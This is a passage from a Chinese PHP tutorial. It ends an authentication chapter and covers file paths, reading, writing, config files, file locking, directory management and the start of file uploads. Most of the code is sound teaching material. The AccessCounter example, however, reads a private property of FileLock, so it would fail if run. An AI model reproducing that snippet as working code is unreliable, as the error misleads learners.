        $permissions = $this->accessControl->getUserPermissions();

        echo '<div class="dashboard">';
        echo '<h1>欢迎,' . XSSProtection::escape($user['username']) . '!</h1>';

        echo '<div class="user-info">';
        echo '<p><strong>角色:</strong>' . XSSProtection::escape($user['role']) . '</p>';
        echo '<p><strong>邮箱:</strong>' . XSSProtection::escape($user['email']) . '</p>';
        echo '<p><strong>登录时间:</strong>' . date('Y-m-d H:i:s', $user['login_time']) . '</p>';
        echo '</div>';

        // 根据权限显示不同的功能
        echo '<div class="dashboard-menu">';
        if ($this->accessControl->can('user.read')) {
            echo '<a href="/users" class="menu-item">用户管理</a>';
        }
        if ($this->accessControl->can('content.create')) {
            echo '<a href="/content/create" class="menu-item">创建内容</a>';
        }
        if ($this->accessControl->can('system.settings')) {
            echo '<a href="/settings" class="menu-item">系统设置</a>';
        }
        echo '<a href="/profile" class="menu-item">个人资料</a>';
        echo '<a href="/logout" class="menu-item">退出登录</a>';
        echo '</div>';

        echo '<div class="permissions">';
        echo '<h3>您的权限:</h3>';
        echo '<ul>';
        foreach ($permissions as $permission) {
            echo '<li>' . XSSProtection::escape($permission) . '</li>';
        }
        echo '</ul>';
        echo '</div>';

        echo '</div>';
    }

    // 重定向到登录页面
    private function redirectToLogin() {
        header('Location: /login');
        exit;
    }

    // 处理登出
    public function handleLogout() {
        $this->auth->logout();
        header('Location: /');
        exit;
    }
}

// 使用示例
/*
// 数据库配置
$dbConfig = [
    'dsn' => 'mysql:host=localhost;dbname=myapp;charset=utf8mb4',
    'username' => 'your_username',
    'password' => 'your_password'
];

// 初始化认证系统
$authSystem = new AuthenticationSystem($dbConfig);

// 路由处理
$requestUri = $_SERVER['REQUEST_URI'];
$requestMethod = $_SERVER['REQUEST_METHOD'];

switch ($requestUri) {
    case '/':
        // 首页
        echo '<h1>欢迎来到我们的网站</h1>';
        if ($authSystem->getAuth()->isLoggedIn()) {
            echo '<p><a href="/dashboard">进入仪表板</a></p>';
        } else {
            echo '<p><a href="/login">登录</a> | <a href="/register">注册</a></p>';
        }
        break;

    case '/login':
        if ($requestMethod === 'GET') {
            $authSystem->renderLoginForm();
        } elseif ($requestMethod === 'POST') {
            $result = $authSystem->handleLogin($_POST);
            if ($result['success']) {
                header('Location: /dashboard');
                exit;
            } else {
                echo '<div class="error">' . implode('<br>', $result['errors']) . '</div>';
                $authSystem->renderLoginForm();
            }
        }
        break;

    case '/register':
        if ($requestMethod === 'GET') {
            $authSystem->renderRegistrationForm();
        } elseif ($requestMethod === 'POST') {
            $result = $authSystem->handleRegistration($_POST);
            if ($result['success']) {
                echo '<div class="success">' . $result['message'] . '</div>';
            } else {
                echo '<div class="error">' . implode('<br>', $result['errors']) . '</div>';
                $authSystem->renderRegistrationForm();
            }
        }
        break;

    case '/dashboard':
        $authSystem->renderDashboard();
        break;

    case '/logout':
        $authSystem->handleLogout();
        break;

    default:
        echo '<h1>页面未找到</h1>';
        echo '<p><a href="/">返回首页</a></p>';
        break;
}
*/
?>

总结

用户认证是Web应用安全的核心,通过实现完善的认证系统,你可以:

关键安全措施:

  1. 密码安全:使用强哈希算法存储密码
  2. Session管理:安全的会话处理和超时机制
  3. CSRF防护:防止跨站请求伪造攻击
  4. 输入验证:严格验证和过滤所有用户输入
  5. 权限控制:基于角色的访问控制
  6. 安全日志:记录重要的安全事件

最佳实践:

  • 始终使用HTTPS传输敏感数据
  • 实施多层安全防护
  • 定期更新和审查安全策略
  • 对用户进行安全教育
  • 实施密码复杂度要求
  • 定期备份数据

通过学习和实施这些用户认证技术,你可以构建安全、可靠的Web应用程序。记住,安全是一个持续的过程,需要不断学习和改进。

第9章:文件操作

文件操作是PHP编程中的重要组成部分,它允许我们读取、写入、修改和管理服务器上的文件。通过文件操作,你可以创建动态内容管理系统、文件上传功能、日志记录系统,以及各种数据处理应用。

学习目标

完成本章学习后,你将能够:

  • 理解PHP文件系统的基本概念
  • 掌握文件的读取、写入和修改操作
  • 学会文件上传和下载的实现方法
  • 了解目录管理和文件权限控制
  • 掌握文件处理的安全最佳实践
  • 能够构建完整的文件管理系统

文件系统基础

什么是文件系统?

文件系统是操作系统用于管理存储设备上数据的机制。在PHP中,我们可以通过内置函数与文件系统进行交互,执行各种文件和目录操作。

路径的概念

在文件操作中,路径是指定文件位置的字符串:

<?php
// 绝对路径 - 从根目录开始的完整路径
$absolutePath = '/var/www/html/index.php';
$windowsAbsolutePath = 'C:\xampp\htdocs\index.php';

// 相对路径 - 相对于当前脚本所在目录的路径
$relativePath = '../config/database.php';
$relativePath2 = 'includes/functions.php';

// 当前工作目录
echo "当前工作目录:" . getcwd() . "<br>";

// 获取脚本的绝对路径
echo "脚本路径:" . __FILE__ . "<br>";
echo "脚本目录:" . __DIR__ . "<br>";
?>

路径分隔符

不同操作系统的路径分隔符不同:

<?php
// 使用DIRECTORY_SEPARATOR获取系统分隔符
echo "路径分隔符:" . DIRECTORY_SEPARATOR . "<br>";

// 跨平台路径拼接
$path = 'uploads' . DIRECTORY_SEPARATOR . 'images' . DIRECTORY_SEPARATOR . 'photo.jpg';
echo "跨平台路径:" . $path . "<br>";

// 使用函数处理路径
$fullPath = 'uploads/images/photo.jpg';
$dirname = dirname($fullPath);           // 获取目录名
$basename = basename($fullPath);         // 获取文件名
$filename = pathinfo($fullPath, PATHINFO_FILENAME); // 获取不含扩展名的文件名
$extension = pathinfo($fullPath, PATHINFO_EXTENSION); // 获取扩展名

echo "目录名:" . $dirname . "<br>";
echo "文件名:" . $basename . "<br>";
echo "文件名(无扩展名):" . $filename . "<br>";
echo "扩展名:" . $extension . "<br>";
?>

文件读取操作

1. 检查文件是否存在

<?php
// 检查文件或目录是否存在
$filename = 'example.txt';

if (file_exists($filename)) {
    echo "文件存在<br>";
} else {
    echo "文件不存在<br>";
}

// 检查是否为文件
if (is_file($filename)) {
    echo "这是一个文件<br>";
}

// 检查是否为目录
if (is_dir('uploads')) {
    echo "这是一个目录<br>";
}

// 检查文件是否可读/可写/可执行
if (is_readable($filename)) {
    echo "文件可读<br>";
}
if (is_writable($filename)) {
    echo "文件可写<br>";
}
if (is_executable($filename)) {
    echo "文件可执行<br>";
}
?>

2. 获取文件信息

<?php
// 文件信息示例类
class FileInfo {
    private $filename;

    public function __construct($filename) {
        $this->filename = $filename;
    }

    // 获取文件大小
    public function getSize() {
        if (file_exists($this->filename)) {
            $bytes = filesize($this->filename);
            return $this->formatBytes($bytes);
        }
        return "文件不存在";
    }

    // 获取文件修改时间
    public function getModifiedTime() {
        if (file_exists($this->filename)) {
            return date('Y-m-d H:i:s', filemtime($this->filename));
        }
        return "文件不存在";
    }

    // 获取文件创建时间
    public function getCreatedTime() {
        if (file_exists($this->filename)) {
            return date('Y-m-d H:i:s', filectime($this->filename));
        }
        return "文件不存在";
    }

    // 获取文件最后访问时间
    public function getAccessedTime() {
        if (file_exists($this->filename)) {
            return date('Y-m-d H:i:s', fileatime($this->filename));
        }
        return "文件不存在";
    }

    // 获取文件类型
    public function getType() {
        if (file_exists($this->filename)) {
            return filetype($this->filename);
        }
        return "文件不存在";
    }

    // 获取文件权限
    public function getPermissions() {
        if (file_exists($this->filename)) {
            return substr(sprintf('%o', fileperms($this->filename)), -4);
        }
        return "文件不存在";
    }

    // 获取文件MIME类型
    public function getMimeType() {
        if (file_exists($this->filename)) {
            $finfo = finfo_open(FILEINFO_MIME_TYPE);
            $mimeType = finfo_file($finfo, $this->filename);
            finfo_close($finfo);
            return $mimeType;
        }
        return "文件不存在";
    }

    // 格式化字节大小
    private function formatBytes($bytes, $precision = 2) {
        $units = ['B', 'KB', 'MB', 'GB', 'TB'];

        for ($i = 0; $bytes > 1024 && $i < count($units) - 1; $i++) {
            $bytes /= 1024;
        }

        return round($bytes, $precision) . ' ' . $units[$i];
    }

    // 显示所有文件信息
    public function displayAllInfo() {
        echo "<h3>文件信息:{$this->filename}</h3>";
        echo "<table border='1'>";
        echo "<tr><td>文件大小</td><td>" . $this->getSize() . "</td></tr>";
        echo "<tr><td>修改时间</td><td>" . $this->getModifiedTime() . "</td></tr>";
        echo "<tr><td>创建时间</td><td>" . $this->getCreatedTime() . "</td></tr>";
        echo "<tr><td>访问时间</td><td>" . $this->getAccessedTime() . "</td></tr>";
        echo "<tr><td>文件类型</td><td>" . $this->getType() . "</td></tr>";
        echo "<tr><td>权限</td><td>" . $this->getPermissions() . "</td></tr>";
        echo "<tr><td>MIME类型</td><td>" . $this->getMimeType() . "</td></tr>";
        echo "</table>";
    }
}

// 使用示例
$fileInfo = new FileInfo('example.txt');
$fileInfo->displayAllInfo();
?>

3. 读取文件内容

<?php
// 文件读取示例类
class FileReader {
    private $filename;

    public function __construct($filename) {
        $this->filename = $filename;
    }

    // 检查文件是否可读
    private function isReadable() {
        return file_exists($this->filename) && is_readable($this->filename);
    }

    // 使用file_get_contents读取整个文件
    public function readAll() {
        if (!$this->isReadable()) {
            throw new Exception("文件不可读或不存在");
        }

        $content = file_get_contents($this->filename);
        if ($content === false) {
            throw new Exception("读取文件失败");
        }

        return $content;
    }

    // 使用file()函数逐行读取
    public function readLines() {
        if (!$this->isReadable()) {
            throw new Exception("文件不可读或不存在");
        }

        $lines = file($this->filename, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        if ($lines === false) {
            throw new Exception("读取文件失败");
        }

        return $lines;
    }

    // 使用fopen和fgets逐行读取(适用于大文件)
    public function readLineByLine() {
        if (!$this->isReadable()) {
            throw new Exception("文件不可读或不存在");
        }

        $handle = fopen($this->filename, 'r');
        if (!$handle) {
            throw new Exception("无法打开文件");
        }

        $lines = [];
        try {
            while (($line = fgets($handle)) !== false) {
                $lines[] = trim($line);
            }
        } finally {
            fclose($handle);
        }

        return $lines;
    }

    // 按字符读取文件
    public function readByCharacter($maxChars = 100) {
        if (!$this->isReadable()) {
            throw new Exception("文件不可读或不存在");
        }

        $handle = fopen($this->filename, 'r');
        if (!$handle) {
            throw new Exception("无法打开文件");
        }

        $content = '';
        $charCount = 0;
        try {
            while (($char = fgetc($handle)) !== false && $charCount < $maxChars) {
                $content .= $char;
                $charCount++;
            }
        } finally {
            fclose($handle);
        }

        return $content;
    }

    // 读取特定范围的行
    public function readLinesRange($start, $end) {
        $lines = $this->readLines();
        return array_slice($lines, $start - 1, $end - $start + 1);
    }

    // 搜索文件内容
    public function searchContent($searchTerm) {
        $lines = $this->readLines();
        $results = [];

        foreach ($lines as $lineNumber => $line) {
            if (stripos($line, $searchTerm) !== false) {
                $results[] = [
                    'line_number' => $lineNumber + 1,
                    'content' => $line
                ];
            }
        }

        return $results;
    }

    // 显示文件内容(带行号)
    public function displayWithLineNumbers() {
        $lines = $this->readLines();
        echo "<h3>文件内容:{$this->filename}</h3>";
        echo "<pre style='background-color: #f5f5f5; padding: 10px; font-family: monospace;'>";

        foreach ($lines as $lineNumber => $line) {
            $lineNum = str_pad($lineNumber + 1, 4, ' ', STR_PAD_LEFT);
            echo "{$lineNum}: " . htmlspecialchars($line) . "\n";
        }

        echo "</pre>";
    }

    // 获取文件统计信息
    public function getStats() {
        if (!$this->isReadable()) {
            return null;
        }

        $lines = $this->readLines();
        $content = file_get_contents($this->filename);

        return [
            'total_lines' => count($lines),
            'total_characters' => strlen($content),
            'total_words' => str_word_count($content),
            'file_size' => filesize($this->filename)
        ];
    }
}

// 使用示例
try {
    $reader = new FileReader('example.txt');

    // 读取所有内容
    echo "<h3>读取所有内容:</h3>";
    echo "<pre>" . htmlspecialchars($reader->readAll()) . "</pre>";

    // 按行读取
    echo "<h3>按行读取:</h3>";
    $lines = $reader->readLines();
    echo "<ol>";
    foreach ($lines as $line) {
        echo "<li>" . htmlspecialchars($line) . "</li>";
    }
    echo "</ol>";

    // 显示统计信息
    echo "<h3>文件统计:</h3>";
    $stats = $reader->getStats();
    echo "<ul>";
    echo "<li>总行数:" . $stats['total_lines'] . "</li>";
    echo "<li>总字符数:" . $stats['total_characters'] . "</li>";
    echo "<li>总词数:" . $stats['total_words'] . "</li>";
    echo "<li>文件大小:" . $stats['file_size'] . " 字节</li>";
    echo "</ul>";

    // 搜索内容
    echo "<h3>搜索示例:</h3>";
    $results = $reader->searchContent('function');
    if (!empty($results)) {
        foreach ($results as $result) {
            echo "第{$result['line_number']}行:" . htmlspecialchars($result['content']) . "<br>";
        }
    }

} catch (Exception $e) {
    echo "错误:" . $e->getMessage();
}
?>

4. 配置文件读取

<?php
// 配置文件读取类
class ConfigReader {
    private $configFile;
    private $config = [];

    public function __construct($configFile) {
        $this->configFile = $configFile;
        $this->loadConfig();
    }

    // 加载配置文件
    private function loadConfig() {
        if (!file_exists($this->configFile)) {
            throw new Exception("配置文件不存在:{$this->configFile}");
        }

        $extension = pathinfo($this->configFile, PATHINFO_EXTENSION);

        switch ($extension) {
            case 'json':
                $this->loadJsonConfig();
                break;
            case 'ini':
                $this->loadIniConfig();
                break;
            case 'php':
                $this->loadPhpConfig();
                break;
            default:
                throw new Exception("不支持的配置文件格式:{$extension}");
        }
    }

    // 加载JSON配置文件
    private function loadJsonConfig() {
        $content = file_get_contents($this->configFile);
        $this->config = json_decode($content, true);

        if (json_last_error() !== JSON_ERROR_NONE) {
            throw new Exception("JSON解析错误:" . json_last_error_msg());
        }
    }

    // 加载INI配置文件
    private function loadIniConfig() {
        $this->config = parse_ini_file($this->configFile, true);
    }

    // 加载PHP配置文件
    private function loadPhpConfig() {
        $this->config = include $this->configFile;
    }

    // 获取配置值
    public function get($key, $default = null) {
        $keys = explode('.', $key);
        $value = $this->config;

        foreach ($keys as $k) {
            if (!isset($value[$k])) {
                return $default;
            }
            $value = $value[$k];
        }

        return $value;
    }

    // 设置配置值
    public function set($key, $value) {
        $keys = explode('.', $key);
        $config = &$this->config;

        foreach ($keys as $k) {
            if (!isset($config[$k])) {
                $config[$k] = [];
            }
            $config = &$config[$k];
        }

        $config = $value;
    }

    // 获取所有配置
    public function getAll() {
        return $this->config;
    }

    // 保存配置
    public function save() {
        $extension = pathinfo($this->configFile, PATHINFO_EXTENSION);

        switch ($extension) {
            case 'json':
                return $this->saveJsonConfig();
            case 'ini':
                return $this->saveIniConfig();
            case 'php':
                return $this->savePhpConfig();
            default:
                throw new Exception("不支持的配置文件格式:{$extension}");
        }
    }

    // 保存JSON配置
    private function saveJsonConfig() {
        $content = json_encode($this->config, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
        return file_put_contents($this->configFile, $content) !== false;
    }

    // 保存INI配置
    private function saveIniConfig() {
        $content = $this->arrayToIni($this->config);
        return file_put_contents($this->configFile, $content) !== false;
    }

    // 保存PHP配置
    private function savePhpConfig() {
        $content = "<?php\nreturn " . var_export($this->config, true) . ";\n";
        return file_put_contents($this->configFile, $content) !== false;
    }

    // 数组转INI格式
    private function arrayToIni($array, $sections = []) {
        $content = '';

        foreach ($array as $key => $value) {
            if (is_array($value)) {
                if (!empty($sections)) {
                    $content .= "\n[{$key}]\n";
                }
                $content .= $this->arrayToIni($value, array_merge($sections, [$key]));
            } else {
                $content .= "{$key} = " . (is_bool($value) ? ($value ? 'true' : 'false') : "\"{$value}\"") . "\n";
            }
        }

        return $content;
    }
}

// 使用示例
try {
    // 读取JSON配置
    $configReader = new ConfigReader('config.json');

    echo "<h3>配置值示例:</h3>";
    echo "数据库主机:" . $configReader->get('database.host', 'localhost') . "<br>";
    echo "数据库端口:" . $configReader->get('database.port', 3306) . "<br>";
    echo "应用名称:" . $configReader->get('app.name', 'MyApp') . "<br>";

    // 修改配置
    $configReader->set('app.debug', true);
    $configReader->set('app.version', '1.2.3');

    // 保存配置
    if ($configReader->save()) {
        echo "配置已保存<br>";
    }

} catch (Exception $e) {
    echo "配置错误:" . $e->getMessage();
}
?>

文件写入操作

1. 基本文件写入

<?php
// 文件写入示例类
class FileWriter {
    private $filename;
    private $backup = true;

    public function __construct($filename, $backup = true) {
        $this->filename = $filename;
        $this->backup = $backup;
    }

    // 检查目录是否存在,不存在则创建
    private function ensureDirectory() {
        $directory = dirname($this->filename);
        if (!is_dir($directory)) {
            if (!mkdir($directory, 0755, true)) {
                throw new Exception("无法创建目录:{$directory}");
            }
        }
    }

    // 创建备份
    private function createBackup() {
        if ($this->backup && file_exists($this->filename)) {
            $backupFile = $this->filename . '.backup.' . date('YmdHis');
            if (!copy($this->filename, $backupFile)) {
                throw new Exception("创建备份失败");
            }
        }
    }

    // 写入整个文件
    public function write($content, $mode = 'w') {
        $this->ensureDirectory();
        $this->createBackup();

        $result = file_put_contents($this->filename, $content, $mode === 'a' ? FILE_APPEND : 0);
        if ($result === false) {
            throw new Exception("写入文件失败");
        }

        return $result;
    }

    // 追加内容
    public function append($content) {
        return $this->write($content, 'a');
    }

    // 写入单行
    public function writeLine($line, $mode = 'w') {
        return $this->write($line . PHP_EOL, $mode);
    }

    // 追加单行
    public function appendLine($line) {
        return $this->writeLine($line, 'a');
    }

    // 写入数组(每行一个元素)
    public function writeLines(array $lines, $mode = 'w') {
        $content = implode(PHP_EOL, $lines) . PHP_EOL;
        return $this->write($content, $mode);
    }

    // 写入JSON数据
    public function writeJson($data, $pretty = true) {
        $options = JSON_UNESCAPED_UNICODE;
        if ($pretty) {
            $options |= JSON_PRETTY_PRINT;
        }

        $content = json_encode($data, $options);
        if (json_last_error() !== JSON_ERROR_NONE) {
            throw new Exception("JSON编码错误:" . json_last_error_msg());
        }

        return $this->write($content);
    }

    // 写入CSV数据
    public function writeCsv(array $data, $headers = null) {
        $this->ensureDirectory();
        $this->createBackup();

        $handle = fopen($this->filename, 'w');
        if (!$handle) {
            throw new Exception("无法打开文件写入");
        }

        try {
            // 写入表头
            if ($headers !== null) {
                fputcsv($handle, $headers);
            }

            // 写入数据
            foreach ($data as $row) {
                if (!is_array($row)) {
                    $row = [$row];
                }
                fputcsv($handle, $row);
            }
        } finally {
            fclose($handle);
        }

        return true;
    }

    // 清空文件
    public function clear() {
        $this->ensureDirectory();
        return $this->write('');
    }

    // 获取写入的字节数
    public function getBytesWritten() {
        return filesize($this->filename);
    }
}

// 使用示例
try {
    $writer = new FileWriter('output/test.txt');

    // 写入文本内容
    $writer->write('Hello, World!');
    $writer->appendLine('This is a new line.');
    $writer->appendLine('Another line of text.');

    // 写入数组
    $lines = [
        'Line 1: First line',
        'Line 2: Second line',
        'Line 3: Third line'
    ];
    $writer->writeLines($lines);

    // 写入JSON数据
    $data = [
        'name' => 'John Doe',
        'age' => 30,
        'email' => 'john@example.com',
        'hobbies' => ['reading', 'swimming', 'coding']
    ];
    $jsonWriter = new FileWriter('output/data.json');
    $jsonWriter->writeJson($data);

    // 写入CSV数据
    $csvData = [
        ['John', 'Doe', 30, 'john@example.com'],
        ['Jane', 'Smith', 25, 'jane@example.com'],
        ['Bob', 'Johnson', 35, 'bob@example.com']
    ];
    $csvHeaders = ['First Name', 'Last Name', 'Age', 'Email'];
    $csvWriter = new FileWriter('output/users.csv');
    $csvWriter->writeCsv($csvData, $csvHeaders);

    echo "所有文件写入完成!<br>";

} catch (Exception $e) {
    echo "文件写入错误:" . $e->getMessage();
}
?>

2. 文件锁定机制

<?php
// 文件锁定示例类
class FileLock {
    private $filename;
    private $handle;
    private $lockType;

    public function __construct($filename) {
        $this->filename = $filename;
    }

    // 打开文件并获取锁
    public function openWithLock($mode, $lockType = LOCK_EX) {
        $this->handle = fopen($this->filename, $mode);
        if (!$this->handle) {
            throw new Exception("无法打开文件");
        }

        // 尝试获取锁
        if (flock($this->handle, $lockType)) {
            $this->lockType = $lockType;
            return true;
        } else {
            fclose($this->handle);
            throw new Exception("无法获取文件锁");
        }
    }

    // 非阻塞锁获取
    public function openWithLockNonBlocking($mode, $lockType = LOCK_EX | LOCK_NB) {
        $this->handle = fopen($this->filename, $mode);
        if (!$this->handle) {
            throw new Exception("无法打开文件");
        }

        if (flock($this->handle, $lockType)) {
            $this->lockType = $lockType;
            return true;
        } else {
            fclose($this->handle);
            $this->handle = null;
            return false;
        }
    }

    // 写入数据
    public function write($data) {
        if (!$this->handle) {
            throw new Exception("文件未打开或未获取锁");
        }

        return fwrite($this->handle, $data);
    }

    // 读取数据
    public function read($length = 1024) {
        if (!$this->handle) {
            throw new Exception("文件未打开或未获取锁");
        }

        return fread($this->handle, $length);
    }

    // 读取所有内容
    public function readAll() {
        if (!$this->handle) {
            throw new Exception("文件未打开或未获取锁");
        }

        return stream_get_contents($this->handle);
    }

    // 释放锁并关闭文件
    public function close() {
        if ($this->handle) {
            flock($this->handle, LOCK_UN); // 释放锁
            fclose($this->handle);
            $this->handle = null;
            $this->lockType = null;
        }
    }

    // 析构函数,确保锁被释放
    public function __destruct() {
        $this->close();
    }
}

// 多进程文件写入示例
function multiProcessWriteExample() {
    $filename = 'output/multi_process.txt';

    // 模拟多个进程同时写入
    for ($i = 1; $i <= 5; $i++) {
        $pid = pcntl_fork(); // 需要pcntl扩展

        if ($pid == -1) {
            // Fork失败,使用单进程模拟
            singleProcessWrite($filename, $i);
        } elseif ($pid == 0) {
            // 子进程
            singleProcessWrite($filename, $i);
            exit(0);
        }
        // 父进程继续
    }
}

// 单进程写入函数
function singleProcessWrite($filename, $processId) {
    $fileLock = new FileLock($filename);

    try {
        $fileLock->openWithLock('a');
        $timestamp = date('Y-m-d H:i:s');
        $message = "进程 {$processId} 在 {$timestamp} 写入了数据\n";

        // 模拟一些处理时间
        usleep(rand(100000, 500000)); // 0.1-0.5秒

        $fileLock->write($message);
        $fileLock->close();

        echo "进程 {$processId} 写入完成<br>";
    } catch (Exception $e) {
        echo "进程 {$processId} 错误:" . $e->getMessage() . "<br>";
    }
}

// 访问计数器示例
class AccessCounter {
    private $filename;
    private $fileLock;

    public function __construct($filename) {
        $this->filename = $filename;
        $this->fileLock = new FileLock($filename);

        // 初始化计数器文件
        if (!file_exists($filename)) {
            file_put_contents($filename, '0');
        }
    }

    // 增加访问次数
    public function increment() {
        try {
            // 打开文件并获取独占锁
            $this->fileLock->openWithLock('r+');

            // 读取当前计数
            $content = $this->fileLock->readAll();
            $count = intval(trim($content));

            // 增加计数
            $count++;

            // 回到文件开头
            rewind($this->fileLock->handle);

            // 写入新计数
            $this->fileLock->write($count);

            // 释放锁
            $this->fileLock->close();

            return $count;
        } catch (Exception $e) {
            throw new Exception("更新计数器失败:" . $e->getMessage());
        }
    }

    // 获取当前计数
    public function getCount() {
        $content = file_get_contents($this->filename);
        return intval(trim($content));
    }

    // 重置计数器
    public function reset() {
        try {
            $this->fileLock->openWithLock('w');
            $this->fileLock->write('0');
            $this->fileLock->close();
        } catch (Exception $e) {
            throw new Exception("重置计数器失败:" . $e->getMessage());
        }
    }
}

// 使用示例
try {
    $counter = new AccessCounter('output/access_counter.txt');

    // 增加访问次数
    for ($i = 0; $i < 10; $i++) {
        $count = $counter->increment();
        echo "访问次数:{$count}<br>";
        usleep(100000); // 0.1秒延迟
    }

    echo "最终访问次数:" . $counter->getCount() . "<br>";

} catch (Exception $e) {
    echo "计数器错误:" . $e->getMessage();
}
?>

目录操作

1. 目录创建和管理

<?php
// 目录管理类
class DirectoryManager {
    private $basePath;

    public function __construct($basePath = '.') {
        $this->basePath = rtrim($basePath, '/\\');
    }

    // 创建目录
    public function createDirectory($path, $permissions = 0755) {
        $fullPath = $this->getFullPath($path);

        if (is_dir($fullPath)) {
            return true;
        }

        if (!mkdir($fullPath, $permissions, true)) {
            throw new Exception("无法创建目录:{$fullPath}");
        }

        return true;
    }

    // 删除目录及其内容
    public function deleteDirectory($path, $recursive = false) {
        $fullPath = $this->getFullPath($path);

        if (!is_dir($fullPath)) {
            return false;
        }

        if ($recursive) {
            return $this->deleteRecursive($fullPath);
        } else {
            return rmdir($fullPath);
        }
    }

    // 递归删除目录
    private function deleteRecursive($dir) {
        $files = array_diff(scandir($dir), ['.', '..']);

        foreach ($files as $file) {
            $path = $dir . DIRECTORY_SEPARATOR . $file;

            if (is_dir($path)) {
                $this->deleteRecursive($path);
            } else {
                unlink($path);
            }
        }

        return rmdir($dir);
    }

    // 复制目录
    public function copyDirectory($source, $destination) {
        $sourcePath = $this->getFullPath($source);
        $destPath = $this->getFullPath($destination);

        if (!is_dir($sourcePath)) {
            throw new Exception("源目录不存在:{$sourcePath}");
        }

        // 创建目标目录
        $this->createDirectory($destPath);

        $files = array_diff(scandir($sourcePath), ['.', '..']);

        foreach ($files as $file) {
            $sourceFile = $sourcePath . DIRECTORY_SEPARATOR . $file;
            $destFile = $destPath . DIRECTORY_SEPARATOR . $file;

            if (is_dir($sourceFile)) {
                $this->copyDirectory($source . DIRECTORY_SEPARATOR . $file,
                                    $destination . DIRECTORY_SEPARATOR . $file);
            } else {
                copy($sourceFile, $destFile);
            }
        }

        return true;
    }

    // 移动目录
    public function moveDirectory($source, $destination) {
        $this->copyDirectory($source, $destination);
        $this->deleteDirectory($source, true);
        return true;
    }

    // 列出目录内容
    public function listDirectory($path = '.', $recursive = false, $showHidden = false) {
        $fullPath = $this->getFullPath($path);

        if (!is_dir($fullPath)) {
            throw new Exception("目录不存在:{$fullPath}");
        }

        return $this->scanDirectory($fullPath, $recursive, $showHidden);
    }

    // 扫描目录
    private function scanDirectory($dir, $recursive, $showHidden) {
        $items = [];
        $files = scandir($dir);

        foreach ($files as $file) {
            if ($file === '.' || $file === '..') {
                continue;
            }

            if (!$showHidden && strpos($file, '.') === 0) {
                continue;
            }

            $path = $dir . DIRECTORY_SEPARATOR . $file;
            $relativePath = str_replace($this->basePath . DIRECTORY_SEPARATOR, '', $path);

            $items[] = [
                'name' => $file,
                'path' => $path,
                'relative_path' => $relativePath,
                'type' => is_dir($path) ? 'directory' : 'file',
                'size' => is_file($path) ? filesize($path) : 0,
                'modified' => filemtime($path),
                'permissions' => substr(sprintf('%o', fileperms($path)), -4)
            ];

            if ($recursive && is_dir($path)) {
                $items = array_merge($items, $this->scanDirectory($path, $recursive, $showHidden));
            }
        }

        return $items;
    }

    // 获取目录大小
    public function getDirectorySize($path) {
        $fullPath = $this->getFullPath($path);

        if (!is_dir($fullPath)) {
            return 0;
        }

        $size = 0;
        $iterator = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($fullPath, RecursiveDirectoryIterator::SKIP_DOTS),
            RecursiveIteratorIterator::SELF_FIRST
        );

        foreach ($iterator as $file) {
            if ($file->isFile()) {
                $size += $file->getSize();
            }
        }

        return $size;
    }

    // 格式化目录大小
    public function formatSize($bytes) {
        $units = ['B', 'KB', 'MB', 'GB', 'TB'];
        $bytes = max(0, $bytes);
        $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
        $pow = min($pow, count($units) - 1);

        $bytes /= pow(1024, $pow);

        return round($bytes, 2) . ' ' . $units[$pow];
    }

    // 检查目录是否为空
    public function isEmpty($path) {
        $fullPath = $this->getFullPath($path);

        if (!is_dir($fullPath)) {
            return true;
        }

        $files = array_diff(scandir($fullPath), ['.', '..']);
        return empty($files);
    }

    // 获取完整路径
    private function getFullPath($path) {
        if (strpos($path, '/') === 0 || (PHP_OS === 'WINNT' && preg_match('/^[A-Za-z]:/', $path))) {
            return $path; // 绝对路径
        }

        return $this->basePath . DIRECTORY_SEPARATOR . $path;
    }

    // 显示目录树
    public function displayTree($path = '.', $maxDepth = 5) {
        $fullPath = $this->getFullPath($path);

        if (!is_dir($fullPath)) {
            echo "目录不存在:{$fullPath}<br>";
            return;
        }

        echo "<h3>目录树:{$path}</h3>";
        echo "<pre>";
        $this->displayDirectoryTree($fullPath, '', $maxDepth, 0);
        echo "</pre>";
    }

    // 递归显示目录树
    private function displayDirectoryTree($dir, $prefix, $maxDepth, $currentDepth) {
        if ($currentDepth >= $maxDepth) {
            return;
        }

        $files = array_diff(scandir($dir), ['.', '..']);
        sort($files);

        $count = count($files);
        $index = 0;

        foreach ($files as $file) {
            $index++;
            $path = $dir . DIRECTORY_SEPARATOR . $file;
            $isLast = ($index === $count);
            $currentPrefix = $prefix . ($isLast ? '└── ' : '├── ');

            echo $currentPrefix . $file;
            if (is_dir($path)) {
                echo "/<br>";
                $nextPrefix = $prefix . ($isLast ? '    ' : '│   ');
                $this->displayDirectoryTree($path, $nextPrefix, $maxDepth, $currentDepth + 1);
            } else {
                $size = filesize($path);
                echo " (" . $this->formatSize($size) . ")<br>";
            }
        }
    }
}

// 使用示例
try {
    $dirManager = new DirectoryManager('.');

    // 创建目录
    $dirManager->createDirectory('uploads/images');
    $dirManager->createDirectory('uploads/documents');
    $dirManager->createDirectory('backup/2024/01');

    echo "目录创建完成<br>";

    // 列出目录内容
    $items = $dirManager->listDirectory('.', false, true);
    echo "<h3>当前目录内容:</h3>";
    echo "<table border='1'>";
    echo "<tr><th>名称</th><th>类型</th><th>大小</th><th>修改时间</th><th>权限</th></tr>";

    foreach ($items as $item) {
        $modified = date('Y-m-d H:i:s', $item['modified']);
        $size = $item['type'] === 'file' ? $dirManager->formatSize($item['size']) : '-';
        echo "<tr>";
        echo "<td>" . htmlspecialchars($item['name']) . "</td>";
        echo "<td>" . $item['type'] . "</td>";
        echo "<td>" . $size . "</td>";
        echo "<td>" . $modified . "</td>";
        echo "<td>" . $item['permissions'] . "</td>";
        echo "</tr>";
    }
    echo "</table>";

    // 获取目录大小
    $size = $dirManager->getDirectorySize('.');
    echo "<p>当前目录总大小:" . $dirManager->formatSize($size) . "</p>";

    // 显示目录树
    $dirManager->displayTree('.', 3);

} catch (Exception $e) {
    echo "目录操作错误:" . $e->getMessage();
}
?>

文件上传处理

1. 基本文件上传

<?php
// 文件上传处理类
class FileUploader {
    private $uploadDir;
    private $allowedTypes = [];
    private $maxSize = 5242880; // 5MB
    private $allowedExtensions = [];
    private $overwrite = false;
    private $randomizeName = true;

    public function __construct($uploadDir) {
        $this->uploadDir = rtrim($uploadDir, '/\\');

        // 确保上传目录存在
